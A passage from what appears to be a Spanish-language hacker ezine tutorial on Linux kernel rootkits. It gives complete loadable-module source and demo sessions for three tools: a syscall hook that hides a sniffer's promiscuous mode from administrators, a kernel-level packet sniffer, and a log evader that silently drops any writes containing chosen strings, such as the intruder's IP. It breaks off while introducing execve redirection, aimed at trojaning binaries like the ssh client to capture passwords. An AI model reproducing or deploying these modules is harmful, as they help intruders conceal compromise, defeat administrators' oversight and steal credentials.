#define IFF_UP 0x1 /* interface is up */
#define IFF_BROADCAST 0x2 /* broadcast address valid */
#define IFF_DEBUG 0x4 /* turn on debugging */
#define IFF_LOOPBACK 0x8 /* is a loopback net */
#define IFF_POINTOPOINT 0x10 /* interface is has p-p link */
#define IFF_NOTRAILERS 0x20 /* avoid use of trailers */
#define IFF_RUNNING 0x40 /* resources allocated */
#define IFF_NOARP 0x80 /* no ARP protocol */
#define IFF_PROMISC 0x100 /* receive all packets */
#define IFF_ALLMULTI 0x200 /* receive all multicast packets*/
#define IFF_MASTER 0x400 /* master of a load balancer */
#define IFF_SLAVE 0x800 /* slave of a load balancer */
#define IFF_MULTICAST 0x1000 /* Supports multicast */
#define IFF_VOLATILE (IFF_LOOPBACK|IFF_POINTOPOINT|IFF_BROADCAST|IFF_ALLMULTI)
#define IFF_PORTSEL 0x2000 /* can set media type */
#define IFF_AUTOMEDIA 0x4000 /* auto media select active */
#define IFF_DYNAMIC 0x8000 /* dialup device with changing addresses*/
(...)
struct ifreq
{
#define IFHWADDRLEN 6
#define IFNAMSIZ 16
union
{
char ifrn_name[IFNAMSIZ]; /* if name, e.g. "en0" */
} ifr_ifrn;
union {
struct sockaddr ifru_addr;
struct sockaddr ifru_dstaddr;
struct sockaddr ifru_broadaddr;
struct sockaddr ifru_netmask;
struct sockaddr ifru_hwaddr;
short ifru_flags;
int ifru_ivalue;
int ifru_mtu;
struct ifmap ifru_map;
char ifru_slave[IFNAMSIZ]; /* Just fits the size */
char ifru_newname[IFNAMSIZ];
char * ifru_data;
} ifr_ifru;
};
#define ifr_name ifr_ifrn.ifrn_name /* interface name */
#define ifr_hwaddr ifr_ifru.ifru_hwaddr /* MAC address */
#define ifr_addr ifr_ifru.ifru_addr /* address */
#define ifr_dstaddr ifr_ifru.ifru_dstaddr /* other end of p-p lnk */
#define ifr_broadaddr ifr_ifru.ifru_broadaddr /* broadcast address */
#define ifr_netmask ifr_ifru.ifru_netmask /* interface net mask */
#define ifr_flags ifr_ifru.ifru_flags /* flags */
#define ifr_metric ifr_ifru.ifru_ivalue /* metric */
#define ifr_mtu ifr_ifru.ifru_mtu /* mtu */
#define ifr_map ifr_ifru.ifru_map /* device map */
#define ifr_slave ifr_ifru.ifru_slave /* slave device */
#define ifr_data ifr_ifru.ifru_data /* for use by interface */
#define ifr_ifindex ifr_ifru.ifru_ivalue /* interface index */
#define ifr_bandwidth ifr_ifru.ifru_ivalue /* link bandwidth */
#define ifr_qlen ifr_ifru.ifru_ivalue /* Queue length */
#define ifr_newname ifr_ifru.ifru_newname /* New name */
(...)
---/ include/linux/if.h /---
Si os habeis fijado la flag que os habra llamado la atencion es
IFF_PROMISC, y el campo de la estructura es ifr_ifru.ifru_flags, que como
podemos ver tiene definido un alias como ifr_flags, sino os habiais dado
cuenta ya lo sabies :)
¿Que tenemos que hacer pues en nuestro modulo? Pues troyanizar la
syscall ioctl para que cuando se haga una peticion SIOCGIFFLAGS no se
muestre la flag IFF_PROMISC. Parece facil de hacer, pero hay una
complicacion. Si el propio administrador coloca la interface de red en modo
promiscuo y este ve que ifconfig le dice que no esta en promisc mode
sospechara ¿no creeis?. Solucion: usar una variable que indicara si debe o
no mostrarse el modo promiscuo. Nuestro modulo se encargara de capturar los
SIOCSIFFLAGS que quieran establecer el modo prmiscuo o quitarlo para colocar
dicha variable con el valor adecuado. ¿Vemos el modulo? Venga.
---/ rhides.c /---
/*
* TILE: RhideS v1.0 <12/05/2001>
*
* CODER: Ripe - <ripe@7a69ezine.org>
*
* DECRP: Is usualy to install a sniffer when you hack some system, but if you
* do it, the net device is established to promisc mode and if the
* admin is inteligent must to discover the sniffer. Using RhideS you
* can to hide some promisc mode interface easily. Inserting the
* module you can specify magic words.
*
* root@donasec.com ~# insmod rhides.o ins=mete del=saca
* root@donasec.com ~#
*
* And you can insert a interface in the list using mv unix comand,
* very easy. ¿sure?
*
* RECOM: ¿Will you use it to hack? Please hide the module :)
*
* TESTED: This LKM have been tested withou problems on:
* - Linux kernel 2.2.18pre21 (Debian 2.2)
* - Linux kernel 2.2.18 (Debian 2.2)
* - Linux kernel 2.2.19 (Debian 2.2)
*
*/
#define __KERNEL__
#define MODULE
#include <linux/ctype.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/mm.h>
#include <linux/if.h>
#include <sys/syscall.h>
#define _7A69SOFT_
#define CODER "Ripe"
#define DEBUGMODE
#define DEF_INS "insert_if"
#define DEF_DEL "remove_if"
#define IFNAMESIZE 32
extern void *sys_call_table[];
char *ins;
char *del;
struct {
char *ins;
char *del;
} status;
/*
* El tipo de dato para la lista enlazada :)
*/
typedef struct {
char interface[IFNAMESIZE+1]; /* Aqui el nombre de la interface */
int promisc; /* ¿Debemos mostrar el modo promiscuo? */
struct lif *next;
} lif;
lif *if_list;
/*
* Punteros a la syscalls originales.
*/
int (*o_rename)(const char *oldpath, const char *newpath);
int (*o_ioctl)(int fd, int request, char *argp);
/* warning save :) */
lif *get_interface(char *);
/*
* Rutinas para insertar y quitar elementos de la lista enlazada, y para
* comprobar si un elemento esta o no.
*/
void add_interface(char *interface) {
lif *ptr=if_list;
#ifdef DEBUGMODE
printk("(RS) Adding %s interface to hide promisc mode list\n", interface);
#endif
if (get_interface(interface)) return;
if (ptr) {
while (ptr->next) {
if (!strcmp(ptr->interface, interface)) return;
ptr=(lif *)ptr->next;
}
ptr->next=(struct lif *)kmalloc(sizeof(lif), GFP_KERNEL);
ptr=(lif *)ptr->next;
strncpy(ptr->interface, interface, IFNAMESIZE);
ptr->promisc=0;
ptr->next=NULL;
} else {
if_list=(lif *)kmalloc(sizeof(lif), GFP_KERNEL);
ptr=if_list;
strncpy(ptr->interface, interface, IFNAMESIZE);
ptr->promisc=0;
ptr->next=NULL;
}
return;
}
void del_interface(char *interface) {
lif *ptr=if_list, *ptr2;
#ifdef DEBUGMODE
printk("(RS) Deleting %s interface from hide promisc mode list\n", interface);
#endif
if (!ptr) return;
if (!strcmp(ptr->interface, interface)) {
if_list=(lif *)ptr->next;
kfree(ptr);
return;
}
while(ptr) {
if (!strcmp(ptr->interface, interface)) break;
ptr2=ptr;
ptr=(lif *)ptr->next;
}
if (ptr) {
ptr2->next=ptr->next;
kfree(ptr);
}
return;
}
lif *get_interface(char *interface) {
lif *ptr=if_list;
while(ptr) {
if (!strcmp(ptr->interface, interface)) return((lif *)ptr);
ptr=(lif *)ptr->next;
}
return(0);
}
/*
* Nuestro pequeño "hack" :)
*/
int my_ioctl(int fd, int request, char *argp) {
int o_ret;
struct ifreq ifreq_ret;
lif *ptr;
/*
* Si la peticion es un set para las flags de una interface se ejecutara
* este condicional.
*/
if (request==SIOCSIFFLAGS) {
__generic_copy_from_user(&ifreq_ret, argp, sizeof(struct ifreq));
/*
* Miramos si la interface a la que se le quieren aplicar los flags
* esta en la lista o no, de no estarlo llamamos a la syscall original
* y retornamos su valor.
*/
if ((ptr=get_interface(ifreq_ret.ifr_name))==0) return((*o_ioctl)(fd, request, argp));
/*
* En caso de estar en la lista miramos si la flag IFF_PROMISC se
* encuentra entre las flags a asignar, de ser asi pondremos 1 a
* ptr->promisc para que el modulo sepa que debe mostrar que la
* interface esta en modo promiscuo, esto es de lo que hablabamos antes.
*/
if (ifreq_ret.ifr_flags & IFF_PROMISC) ptr->promisc=1;
else ptr->promisc=0;
ifreq_ret.ifr_flags=ifreq_ret.ifr_flags|IFF_PROMISC;
__generic_copy_to_user(argp, &ifreq_ret, sizeof(struct ifreq));
}
/*
* Si lo que se hace es solicitar las flags se ejecutara este otro
* condicional.
*/
if (request==SIOCGIFFLAGS) {
/*
* Llamamos a la syscall original para extraer la flags reales
*/
o_ret=(*o_ioctl)(fd, request, argp);
__generic_copy_from_user(&ifreq_ret, argp, sizeof(struct ifreq));
/*
* Si la interface no esta en la lista retornamos el valor real...
*/
if ((ptr=get_interface(ifreq_ret.ifr_name))==0) return(o_ret);
/*
* ...de lo contrario comprobamos si debe mostrarse o no el modo
* promiscuo y si no debe mostrarse lo quitamos.
*/
if ((!ptr->promisc) && (ifreq_ret.ifr_flags&IFF_PROMISC))
ifreq_ret.ifr_flags=ifreq_ret.ifr_flags^IFF_PROMISC;
/*
* Y ale.... aqui tienes los resultados :)
*/
__generic_copy_to_user(argp, &ifreq_ret, sizeof(struct ifreq));
return(o_ret);
}
return((*o_ioctl)(fd, request, argp));
}
/*
* Syscall que usamos para comunicarnos con el kernel. Ningun secreto.
*/
int my_rename(const char *oldpath, const char *newpath) {
if (!strcmp(newpath, status.ins)) {
add_interface((char *)oldpath);
return(0);
}
if (!strcmp(newpath, status.del)) {
del_interface((char *)oldpath);
return(0);
}
return((*o_rename)(oldpath, newpath));
}
/*
* Ahora te preguntaras.. ¿Y esto que pinta?
* Pues ni idea :)
*/
int init_module() {
status.ins=(char *)kmalloc(strlen(DEF_INS), GFP_KERNEL);
status.del=(char *)kmalloc(strlen(DEF_DEL), GFP_KERNEL);
strcpy(status.ins, DEF_INS);
strcpy(status.del, DEF_DEL);
if (ins) {
kfree(status.ins);
status.ins=ins;
}
if (del) {
kfree(status.del);
status.del=del;
}
o_ioctl=sys_call_table[__NR_ioctl];
o_rename=sys_call_table[__NR_rename];
sys_call_table[__NR_ioctl]=my_ioctl;
sys_call_table[__NR_rename]=my_rename;
#ifdef DEBUGMODE
printk("(RS) RhideF by Ripe - <ripe@7a69ezine.org>\n");
printk("(RS) Loaded!\n");
#endif
return(0);
}
void cleanup_module() {
sys_call_table[__NR_rename]=o_rename;
sys_call_table[__NR_ioctl]=o_ioctl;
#ifdef DEBUGMODE
printk("(RS) RhideF by Ripe - <ripe@7a69ezine.org>\n");
printk("(RS) UnLoaded!\n");
#endif
}
MODULE_AUTHOR("Ripe - <ripe@7a69ezine.org>");
MODULE_DESCRIPTION("hack: Interface promisc mode hider");
MODULE_PARM(ins, "s");
MODULE_PARM(del, "s");
---/ rhides.c /---
Veamos, como funcionaria dicho modulo.
barracuda ~# insmod rhides.o
barracuda ~# tcpdump -i eth0 &> /dev/tty12 &
[1] 237
eth0: Promiscuous mode enabled.
barracuda ~# ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:E0:29:9A:D0:A9
inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
Interrupt:11 Base address:0xdc00
barracuda ~# touch eth0 ; mv eth0 insert_if ; rm eth0
barracuda ~# ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:E0:29:9A:D0:A9
inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
Interrupt:11 Base address:0xdc00
barracuda ~#
El modo promiscuo queda oculto a ojos de indeseables (el administrador
del sistema), pero claro... ahora es el propio administrador el que coloca
la interface en modo promiscuo? :)
barracuda ~# ifconfig eth0 promisc
eth0: Promiscuous mode enabled.
barracuda ~# ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:E0:29:9A:D0:A9
inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
Interrupt:11 Base address:0xdc00
barracuda ~#
Perfecto! Funciona a las 1000 maravillas.
5.4. Sniffing desde el kernel
-----------------------------
Hay ocasiones en las que puede ser util realizar una captura de los
paquetes que llegan a una maquina a nivel de kernel, ya sea para realizar un
registros de los paquetes recividos por el kernel, para redireccinarlos a otra
maquina, para manipularlos, o para hacer que el kernel realice alguna accion
tras la llegada de un determinado paquete.
Para poder hacer esto que nos planteamos debemos conocer el
funcionamiento de la pila TCP/IP del kernel de linux, para ello lo mas
conveniente seria leernos las fuentes del kernel, pero como no todos disponeis
del tiempo (o las ganas) suficiente para hacerlo, tratare de comentar aqui los
puntos mas importantes.
El kernel dispone de una serie de rutinas para procesar los paquetes
llegados en cada capa, cuando una capa ha procesado la cabecera que debia,
entregara el paquete a la rutina que se encargara de procesar la siguiente
cabecera. Asi pues, en primer lugar, es necesario una rutina para procesar
el paquete en la capa de enlace, y al terminar entregara el paquete a
la rutrina encargada de procesar la capa de IP, y asi sucesivamente. Los
paquetes procesados por el kernel pueden seguir distintos caminos, asi pues
un paquete UDP no sera procesador por las mismas rutinas de uno TCP, pues la
rutina que procesa la cabecera IP se encargara de entregar el paquete a
rutinas distintas (una que sera la encargada de procesar UDP y otra TCP). Para
comunicar cada una de las rutinas, el kernel se sirve de una structura llamada
sk_buff, la cual podemos encontrar en linux/include/linux/skbuff.h, asi pues
cuando un host recive un paquete por un dispositivo, este se encarga de crear
la estructura sk_buff y la coloca en la cola.
---/ include/linux/skbuff.h /---
struct sk_buff {
struct sk_buff *next; /* Next buffer in list */
struct sk_buff *prev; /* Previous buffer in list */
struct sk_buff_head *list; /* List we are on */
struct sock *sk; /* Socket we are owned by */
struct timeval stamp; /* Time we arrived */
struct device *dev; /* Device we arrived on/are leaving by */
/* Transport layer header */
union
{
struct tcphdr *th;
struct udphdr *uh;
struct icmphdr *icmph;
struct igmphdr *igmph;
struct iphdr *ipiph;
struct spxhdr *spxh;
unsigned char *raw;
} h;
/* Network layer header */
union
{
struct iphdr *iph;
struct ipv6hdr *ipv6h;
struct arphdr *arph;
struct ipxhdr *ipxh;
unsigned char *raw;
} nh;
/* Link layer header */
union
{
struct ethhdr *ethernet;
unsigned char *raw;
} mac;
struct dst_entry *dst;
char cb[48];
unsigned int len; /* Length of actual data */
unsigned int csum; /* Checksum */
volatile char used; /* Data moved to user and not MSG_PEEK */
unsigned char is_clone, /* We are a clone */
cloned, /* head may be cloned (check refcnt to be sure). */
pkt_type, /* Packet class */
pkt_bridged, /* Tracker for bridging */
ip_summed; /* Driver fed us an IP checksum */
__u32 priority; /* Packet queueing priority */
atomic_t users; /* User count - see datagram.c,tcp.c */
unsigned short protocol; /* Packet protocol fromdriver. */
unsigned short security; /* Security level of packet */
unsigned int truesize; /* Buffer size */
unsigned char *head; /* Head of buffer */
unsigned char *data; /* Data head pointer */
unsigned char *tail; /* Tail pointer */
unsigned char *end; /* End pointer */
void (*destructor)(struct sk_buff *); /* Destruct function */
#ifdef CONFIG_IP_FIREWALL
__u32 fwmark; /* Label made by fwchains, used by pktsched */
#endif
#if defined(CONFIG_SHAPER) || defined(CONFIG_SHAPER_MODULE)
__u32 shapelatency; /* Latency on frame */
__u32 shapeclock; /* Time it should go out */
__u32 shapelen; /* Frame length in clocks */
__u32 shapestamp; /* Stamp for shaper */
__u16 shapepend; /* Pending */
#endif
#if defined(CONFIG_HIPPI)
union{
__u32 ifield;
} private;
#endif
};
---/ include/linux/skbuff.h /---
Como podemos ver se trata de una lista doblemente enlazada, en la que
dentro de cada elemento los punteros next y prev apuntan al siguiente y el
anterior elemento de la lista respectivamente.
Los datos a destacar dentro de sk_buff, sean posiblemente los que voy a
comentar a continuacion:
-> struct device *dev: Indica el dispositivo que se esta usando.
-> union h: Contiene la cabecera de la capa de transporte
-> union nh: (Network Header) Contiene la cabecera de la capa de red.
-> unsigned char pkt_type: Muestra el tipo de paquete que contiene la
structura sk_buf. Sus valores pueden ser; PACKET_HOST (si es para nosotros),
PACKET_BROADCAST (si es para todos), PACKET_MULTICAST (si es para un grupo
determinado), PACKET_OTHERHOST (si el paquete es para otro host),
PACKET_OUTGOING (si es un paquete saliente), PACKET_LOOPBACK (si es un
paquete loopback) o PACKET_FASTROUTE.
-> struct char *data: Puntero que indicara donde se encuentran los
datos del paquete.
De todos estos campos el unico que esta correctame asignado es el que
contiene la network header, los demas deberan ser reajustados por nosotros.
En el ejemplo le vereis mas claro.
Bien, ya sabemos mas o menos lo que ocurre con los paquetes que llegan
por una interface de red, ahora la cuestion esta enconseguir capturarlos, en
lograr que una rutina nuestra insertada en el kernel sea capaz de procesar
los paquetes, para ello necesitamos insertar una rutina en la lista de
rutinas por las que deben pasar los paquetes, para ello usaremos
dev_add_pack(), a la cual le pasaremos por argumento una structura
packet_type.
---/ include/linux/netdevice.h /---
struct packet_type
{
unsigned short type; /* This is really htons(ether_type). */
struct device *dev; /* NULL is wildcarded here */
int (*func) (struct sk_buff *, struct device *,
struct packet_type *);
void *data; /* Private to the packet type */
struct packet_type *next;
};
---/ include/linux/netdevice.h /---
En el campo type asignaremos siempre el valor de ETH_P_ALL para
capturar todos los paquetes y en func podremos un apuntador a la rutina que
nosotros hemos escrito para procesar cada unos de los paquetes que llegan.
Dicha rutina, como podemos ver, precisa de 3 argumentos un puntero a una
estructura sk_buf, otro a una struct device y otro a una struct packet_type.
Para ver las cosas mas claras voy a presentar aqui un sencillisimo sniffer
que captura los paquetes en ring0 y loguea los paquetes que llegan en
/var/log/messages. No creo que haya muchas dudas sobre como funciona esto,
aun asi he intentado comentar bastante el codigo para que se entienda a la
perfeccion, no os quejareis :)
---/ snif_in_krnl.c /---
/*
* TILE: Snif in kernel (pachanga version 1)
*
* CODER: Ripe - <ripe@7a69ezine.org>
*
* DESCR: This a very fucked sniffer for linux kernel 2.2.x. Don't fuckme
* please. It's only an example :P
*
* USAGE: I don't know.... ehehehe.
*
* RECOM: Put a finger on your anus.
*
* TESTED: This LKM habe been tested without problems on:
* - Linux kernel 2.2.18pre10 (Debian 2.2)
* - Linux kernel 2.4.6 (Debian 2.2)
*
*/
#define __KERNEL__
#define MODULE
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/ctype.h>
#include <linux/ip.h>
#include <linux/icmp.h>
#include <linux/tcp.h>
#include <linux/udp.h>
#include <linux/skbuff.h>
#include <linux/netdevice.h>
void sniffer_icmp(struct sk_buff *skb);
void sniffer_tcp(struct sk_buff *skb);
void sniffer_udp(struct sk_buff *skb);
/*
* Estructura que registraremos mas adelante en el kernel, para que una rutina
* nuestra pueda leer los paquetes que pasan por el kernel.
*/
struct packet_type my_pkt;
/*
* Rutina que leera los paquetes en ring0.
*/
int sniffer(struct sk_buff *skb, struct device *dev, struct packet_type *pkt) {
/*
* Reajustamos los campos :)
*/
skb->h.raw = skb->nh.raw + skb->nh.iph->ihl*4;
skb->data = (unsigned char *)skb->h.raw +(skb->h.th->doff <<2);
skb->len -= skb->nh.iph->ihl*4 + (skb->h.th->doff << 2);
/*
* Comprobamos que el paquetito es para nosotros. Si no lo es pasamos
* olimpicamente de el.
*/
if (skb->pkt_type!=PACKET_HOST) {
kfree_skb(skb);
return(0); /* Oppps! esto no es mio */
}
/*
* Ahora miraremos de que protocolo se trata, para asi pasar el sk_buff a
* una rutina que se encargara de formatear la salida en el /var/log/messages
* Como deciamos, nos encargamos de entregar el sk_buff a una rutina
* distinta dependiendo del paquete que este transporta, de esta manera
* el source queda algo mas ordenado :)
*/
switch(skb->nh.iph->protocol) {
case 1: /* ICMP */
sniffer_icmp(skb);
break;
case 6: /* TCP */
sniffer_tcp(skb);
break;
case 17: /* UDP */
sniffer_udp(skb);
break;
defautl:
printk("----\n");
printk("No se de que va este paquete!!!!!\n");
}
/*
* Ya no queremos saber mas del paquetito.
*/
kfree_skb(skb);
return(1); /* Todo correcto */
}
/*
* Las 3 siguientes rutinas se encargaran de mostrar el paquete llegado en
* /var/log/messages segun el protocolo que contenga cada uno de los
* paquetitos que llegan.
*/
void sniffer_icmp(struct sk_buff *skb) {
printk("----\n");
printk("IP origne(hex) : %X\n", skb->nh.iph->saddr);
printk("IP destino(hex) : %X\n", skb->nh.iph->daddr);
printk("ICMP type(hex) : %X\n", skb->h.icmph->type);
printk("ICMP code(hex) : %X\n", skb->h.icmph->code);
}
void sniffer_tcp(struct sk_buff *skb) {
printk("----\n");
printk("IP origne(hex) : %X\n", skb->nh.iph->saddr);
printk("IP destino(hex) : %X\n", skb->nh.iph->daddr);
printk("TCP origen(hex) : %X\n", skb->h.th->source);
printk("TCP destino(hex) : %X\n", skb->h.th->dest);
printk("TCP seq(hex) : %X\n", skb->h.th->seq);
printk("TCP ack_seq(hex) : %X\n", skb->h.th->ack_seq);
}
void sniffer_udp(struct sk_buff *skb) {
printk("----\n");
printk("IP origne(hex) : %X\n", skb->nh.iph->saddr);
printk("IP destino(hex) : %X\n", skb->nh.iph->daddr);
printk("UDP origen(hex) : %X\n", skb->h.uh->source);
printk("UDP destino(hex) : %X\n", skb->h.uh->dest);
}
/*
* La funciones de siempre. Zona de carga y descarga, prohivido aparcar de
* 9h a 18h :)
*/
int init_module() {
/*
* Preparamos la estructura packet_type para registrarla luego en la lista
* del kernel.
*/
my_pkt.type=htons(ETH_P_ALL); /* Lo queremos ver todo */
my_pkt.func=sniffer; /* Nuestra rutina que procesara el sk_buf */
/*
* Ahora llega el momento de registrar la estructura, para ello usamos
* dev_add_pack(), como ya dije anteriormente.
*/
dev_add_pack(&my_pkt);
/*
* Pos yasta!! :)
*/
return(0);
}
void cleanup_module() {
/*
* Al descargar el modulo debemos desregistrar nuestra estructura
* packet_type, sino se puede armar la de cristo en nuestro kernel :)
*/
dev_remove_pack(&my_pkt);
}
---/ snif_in_kernel.c /---
Bueno, este snifer es realmente una chapuza, espero que no me
critiqueis por ello, pues la unica intencion de este source era la de
ilustrar como es posible capturar paquetes en ring0. No lo he dicho antes,
pero eta comentado en el texto, para volver a dejar las cosas como estavan
antes, y avitar asi nuestro kerido kernel panic al descargar el modulo
debemos usar dev_remove_pack() en cleanup_module().
Obiamente el poder snifar paquetes a nivel de kernel de mucho, juego,
pero no sere yo quien os de las ideas, sino vosotros, que tambien hay que
currarselo de vez en cuando :)
5.5. Evitando los logs del systema
----------------------------------
Que bonito seria estar seguros que nuestra IP no saldra en ningun lugar
de la maquina que atacamos ¿no? Pues esto es posible si indagamos un poco en
el kernel. ¿Como hace nuestro linux para escribir en un fichero? Sencillo,
usando la syscall write. El segundo argumento de write es un puntero al
buffer que debera escribirse el el fichero (socket o lo que sea) que esta
relacionado al decriptor de ficheo, por lo que solo tendriamos que comprobar
que en dicho buffer no hay nada que pueda comprometernos, y en caso de que
lo haya omitir el write. ¿Como haremos nosotros? Pues como siempre... Una
lista enlazada con palabras prohividas (Nene no digas "puta"), y haciendo
el rollo de siempre. Meter en lugar de write una rutina nuestra :)
---/ evadelog.c /---
/*
* TILE: EvadeLog v1.0 <14/6/2001>
*
* CODER: Ripe - <ripe@7a69ezine.org>
*
* DESCR: This is a log evader LKM. In this module I filter all write syscalls
* that have got a string in hide list. The usage is very easy, you can
* add/del strings to hide list using mv UNIX command. See that.
*
* root@donasec.com ~# insmod evadelog.o ins=mete del=saca [-f]
* root@donasec.com ~#
*
* You'll avoid that string must be printed using "mv <string> mete"
*
* RECOM: If you use this LKM in a hacked system I recomend revise the
* source (script-kidiie sux) and hider this LKM using hider.c :)
*
* TESTED: This LKM have been tested without problems on:
* - Linux Kernel 2.2.18pre10 (Debian 2.2)
* - Linux Kernel 2.2.18 (Debian 2.2)
*/
#define __KERNEL__
#define MODULE
#include <linux/ctype.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/mm.h>
#include <sys/syscall.h>
#define _7A69SOFT_
#define CODER "Ripe"
#define DEBUGMODE
#define DEF_INS "insert_str"
#define DEF_DEL "delete_str"
extern void *sys_call_table[];
char *ins;
char *del;
struct {
char *ins;
char *del;
} status;
/*
* La lista enlazada :)
*/
typedef struct {
char *str;
struct lstr *next;
} lstr;
lstr *s_list;
/*
* Punteros a las syscalls originales.
*/
int (*o_rename)(const char *oldpath, const char *newpath);
int (*o_write)(int fd, const void *buf, int count);
void my_bzero(char *buf, int size) {
memset(buf, 0, size);
}
/*
* Estas son las rutinas que usaremos para gestionar la lista enlazada que
* contendra los strings a ocultar.
*/
void add_str(char *str) {
lstr *ptr=s_list;
#ifdef DEBUGMODE
printk("(EL) Adding \"%s\" string to hide list\n", str);
#endif
if (is_str(str)==1) return;
if (ptr) {
while (ptr->next) {
if (!strcmp(ptr->str, str)) return;
ptr=(lstr *)ptr->next;
}
ptr->next=(struct lstr *)kmalloc(sizeof(lstr), GFP_KERNEL);
ptr=(lstr *)ptr->next;
ptr->str=(char *)kmalloc(strlen(str)+1, GFP_KERNEL);
strcpy(ptr->str, str);
ptr->next=NULL;
} else {
s_list=(lstr *)kmalloc(sizeof(lstr), GFP_KERNEL);
ptr=s_list;
ptr->str=(char *)kmalloc(strlen(str)+1, GFP_KERNEL);
strcpy(ptr->str, str);
ptr->next=NULL;
}
return;
}
void del_str(char *str) {
lstr *ptr=s_list, *ptr2;
#ifdef DEBUGMODE
printk("(EL) Deleting \"%s\" string from hide list\n", str);
#endif
if (!ptr) return;
if (!strcmp(ptr->str, str)) {
s_list=(lstr *)ptr->next;
kfree(ptr->str);
kfree(ptr);
return;
}
while(ptr) {
if (!strcmp(ptr->str, str)) break;
ptr2=ptr;
ptr=(lstr *)ptr->next;
}
if (ptr) {
ptr2->next=ptr->next;
kfree(ptr->str);
kfree(ptr);
}
return;
}
int is_str(char *str) {
lstr *ptr=s_list;
while(ptr) {
if (!strcmp(ptr->str, str)) return(1);
ptr=(lstr *)ptr->next;
}
return(0);
}
/*
* Con esta funcion comprobamos si el buffer pasado contiene en su interior
* alguno de los elementos de la lista enlazada.
*/
int hide_str(char *buf) {
lstr *ptr=s_list;
if (!ptr) return(0);
while(ptr) {
if (strstr(buf, ptr->str)) return(1);
ptr=(lstr *)ptr->next;
}
return(0);
}
/*
* Usaremos, como en otras ocasiones, sys_rename para comunicarnos on el
* kernel.
*/
int my_rename(const char *oldpath, const char *newpath) {
if (!strcmp(newpath, status.ins)) {
add_str((char *)oldpath);
return(0);
}
if (!strcmp(newpath, status.del)) {
del_str((char *)oldpath);
return(0);
}
return((*o_rename)(oldpath, newpath));
}
/*
* Esta es la syscall write troyanizada... que malos somos :P
*/
int my_write(int fd, const void *buf, int count) {
int ret;
char *my_buf;
/*
* Creamos una copia del buffer.
*/
my_buf=(char *)kmalloc(count+1, GFP_KERNEL);
my_bzero(my_buf, count+1);
memcpy(my_buf, buf, count);
/*
* Comprobamos si se debe ocultar o no.
*/
if (ret=hide_str((char *)my_buf)) {
/*
* Se debe ocultar! Pues no imprimimos nada :)
*/
kfree(my_buf);
return(count);
}
/*
* No se debe ocultar! Pues ale... llamamos a la syscall original.
*/
kfree(my_buf);
return((*o_write)(fd, buf, count));
}
/*
* Aqui el rollo de siempre.
*/
int init_module() {
status.ins=(char *)kmalloc(strlen(DEF_INS), GFP_KERNEL);
status.del=(char *)kmalloc(strlen(DEF_DEL), GFP_KERNEL);
strcpy(status.ins, DEF_INS);
strcpy(status.del, DEF_DEL);
if (ins) {
kfree(status.ins);
status.ins=ins;
}
if (del) {
kfree(status.del);
status.del=del;
}
o_rename=sys_call_table[__NR_rename];
o_write=sys_call_table[__NR_write];
sys_call_table[__NR_rename]=my_rename;
sys_call_table[__NR_write]=my_write;
#ifdef DEBUGMODE
printk("(EL) EvadeLog by Ripe - <ripe@7a69ezine.org>\n");
printk("(EL) Loaded!\n");
#endif
return(0);
}
void cleanup_module() {
sys_call_table[__NR_rename]=o_rename;
sys_call_table[__NR_write]=o_write;
#ifdef DEBUGMODE
printk("(EL) EvadeLog by Ripe - <ripe@7a69ezine.org>\n");
printk("(EL) UnLoaded!\n");
#endif
}
MODULE_AUTHOR("Ripe - <ripe@7a69ezine.org>");
MODULE_DESCRIPTION("hack: Evading log");
MODULE_PARM(ins, "s");
MODULE_PARM(del, "s");
---/ evadelog.c /---
Veamos como funciona esto...
barracuda~# insmod evadelog.o ins=mete del=saca
barracuda~# touch "nosaldre jeje" ; mv "nosaldre jeje" mete ; rm "nosaldre jeje"
barracuda~# echo "nosaldre jeje"
barracuda~#
Bueno, seguro que habeis visto el problema que presenta este evadelog.c
¿no? Sencillo. Para nosotros cargar el modulo e insertar, por ejemplo, nuestra
IP en la lista debemos entrar en la maquina, por lo que ya estamos dejando
algo en el messages (ya sea un log del telnetd, sshd, o lo que sea). Seria
ideal poder añadir elementos a la lista desde fuera de la maquina ¿no? Pues
si pensais un poco y os leeis el punto anterior encontrareis como hacerlo.
Como siempre digo DoItYourSelf!! Os dejo ese travajito a vosotros, pues si
habeis llegado hasta aqui fijo que podreis.
5.6. Redireccionando ejecuciones
--------------------------------
Son muchas las ocasiones en las que nos es necesario troyanizar algun
ejecutable en una maquina (Un ejemplo muy claro es el del cliente ssh, el
cual suele troyanizarse para poder capturar los login/password que con un
sniffer serian imposibles de sacr), pero obiamente ello requiere la
modificacion del fichero ejecutable, lo que puede conllevar consecuencias
fatales, si por ejemplo el administrador usa tripwire o cualquier otra
herramienta de ese tipo. La solucion pasa por hacer que al solicitar la
ejecucion de un binario determinado se ejecute otro. ¿Como podemos hacer
esto? Pues es facil. Basta con saber que la syscall que usa el kernel para
cargar todos los datos en memoria para ejecutar un binario determinado es
execve, asi que sera esa syscall la que debemos interceptar. Al ir haciendo
el modulo nos encontramos con algunos problemas. El primero de ellos es que
una vez hoockeada la syscall execve no podemos llamar a la original usando
como referencia el puntero, el motivo es algo complejo, quedaros con que
tras la ejecucion de la interrupcion 80h se colocan unas cosas en el stack
que execve leera despues, pero si saltamos al punero deirectamente dichas
cosas no seran colocadas en el stack y se arma el catacrash. La solucion a
ese problema es sencilla, basta con usar la int 80h para llamar a la syscall
original, para ello debemos copiar el valor del puntero
